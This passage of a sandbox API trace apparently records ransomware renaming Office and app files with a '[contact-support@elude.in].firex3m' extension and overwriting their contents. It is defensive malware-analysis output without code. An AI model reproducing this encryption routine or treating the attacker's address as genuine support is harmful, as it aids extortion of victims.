(Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0264.656] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-us\\faq.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.657] Sleep (dwMilliseconds=0x1) [0264.683] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-54.png", len=0x74 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-54.png") returned 1 [0264.683] GetProcessHeap () returned 0x630000 [0264.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ccc) returned 0x6fe3bb0 [0264.683] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail.targetsize-54.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.688] Sleep (dwMilliseconds=0x1) [0264.735] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-24.png", len=0x74 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-24.png") returned 1 [0264.735] GetProcessHeap () returned 0x630000 [0264.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc0) returned 0x6fe3bb0 [0264.735] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.737] Sleep (dwMilliseconds=0x1) [0264.755] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png", len=0x75 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png") returned 1 [0264.756] GetProcessHeap () returned 0x630000 [0264.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c74) returned 0x6fe3bb0 [0264.756] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.756] Sleep (dwMilliseconds=0x1) [0264.779] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png", len=0x74 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png") returned 1 [0264.780] GetProcessHeap () returned 0x630000 [0264.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c48) returned 0x6fe3bb0 [0264.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.793] Sleep (dwMilliseconds=0x1) [0264.798] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF", len=0x68 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF") returned 1 [0264.798] GetProcessHeap () returned 0x630000 [0264.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c20) returned 0x6fe3bb0 [0264.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0264.910] CloseHandle (hObject=0x694) returned 1 [0264.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AXIS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AXISIN~1.FIR")) returned 0x6d5040 [0265.014] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0265.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0265.014] GetProcessHeap () returned 0x630000 [0265.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706c1d8 [0265.014] GetProcessHeap () returned 0x630000 [0265.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b1e0 [0265.014] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.014] ReadFile (in: hFile=0x694, lpBuffer=0x706c1d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c1d8*, lpNumberOfBytesRead=0x5c3ff0c*=0x200, lpOverlapped=0x0) returned 1 [0265.017] GetProcessHeap () returned 0x630000 [0265.017] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0265.018] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.018] WriteFile (in: hFile=0x694, lpBuffer=0x706b1e0*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b1e0*, lpNumberOfBytesWritten=0x5c3ff0c*=0x200, lpOverlapped=0x0) returned 1 [0265.018] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.018] WriteFile (in: hFile=0x694, lpBuffer=0x706b3df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b3df*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.018] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.018] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.018] CloseHandle (hObject=0x694) returned 1 [0265.018] GetProcessHeap () returned 0x630000 [0265.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b1e0 | out: hHeap=0x630000) returned 1 [0265.018] GetProcessHeap () returned 0x630000 [0265.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c1d8 | out: hHeap=0x630000) returned 1 [0265.018] GetProcessHeap () returned 0x630000 [0265.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0265.018] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63e9c146, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x5c3fd20, dwReserved1=0x706c1d8, cFileName="AXIS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AXISIN~1.FIR")) returned 0x6d51c0 [0265.019] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.019] Sleep (dwMilliseconds=0x1) [0265.032] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", len=0x64 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 1 [0265.033] GetProcessHeap () returned 0x630000 [0265.033] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf4) returned 0x6fe3bb0 [0265.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0265.033] CloseHandle (hObject=0x6cc) returned 1 [0265.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_es.lex.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb9c364d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb9c364d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc85db99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="MSWDS_ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWDS_~2.FIR")) returned 0x6d5200 [0265.035] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0265.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_es.lex.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0265.035] GetProcessHeap () returned 0x630000 [0265.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x727ee88 [0265.035] GetProcessHeap () returned 0x630000 [0265.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0265.035] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.035] ReadFile (in: hFile=0x6cc, lpBuffer=0x727ee88, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ee88*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0271.121] GetProcessHeap () returned 0x630000 [0271.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0273.152] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.153] WriteFile (in: hFile=0x6cc, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.154] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.154] WriteFile (in: hFile=0x6cc, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.156] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.156] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.156] CloseHandle (hObject=0x6cc) returned 1 [0273.156] GetProcessHeap () returned 0x630000 [0273.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0273.156] GetProcessHeap () returned 0x630000 [0273.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727ee88 | out: hHeap=0x630000) returned 1 [0273.157] GetProcessHeap () returned 0x630000 [0273.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0273.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb9c364d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb9c364d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68c3c0c8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x609a7, dwReserved0=0xaec7496, dwReserved1=0x727ee80, cFileName="MSWDS_ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWDS_~2.FIR")) returned 0x6d5500 [0273.158] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0273.158] Sleep (dwMilliseconds=0x1) [0273.169] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", len=0x67 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned 1 [0273.169] GetProcessHeap () returned 0x630000 [0273.169] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0273.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.170] Sleep (dwMilliseconds=0x1) [0273.184] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js", len=0x78 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js") returned 1 [0273.185] GetProcessHeap () returned 0x630000 [0273.185] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0273.185] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\partnerjs\\retaildemo.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.188] Sleep (dwMilliseconds=0x1) [0273.202] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js", len=0x68 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js") returned 1 [0273.202] GetProcessHeap () returned 0x630000 [0273.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0273.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.203] Sleep (dwMilliseconds=0x1) [0273.216] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css", len=0x69 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css") returned 1 [0273.216] GetProcessHeap () returned 0x630000 [0273.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e2c) returned 0x6fe3bb0 [0273.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.216] Sleep (dwMilliseconds=0x1) [0273.235] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated.png", len=0x88 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated.png") returned 1 [0273.235] GetProcessHeap () returned 0x630000 [0273.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e10) returned 0x6fe3bb0 [0273.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-80_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.237] Sleep (dwMilliseconds=0x1) [0273.247] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80.png", len=0x77 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80.png") returned 1 [0273.247] GetProcessHeap () returned 0x630000 [0273.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e0c) returned 0x6fe3bb0 [0273.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.249] Sleep (dwMilliseconds=0x1) [0273.268] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-white.png", len=0x86 | out: pbstr=0x5c3ff7c*="C:\\Program 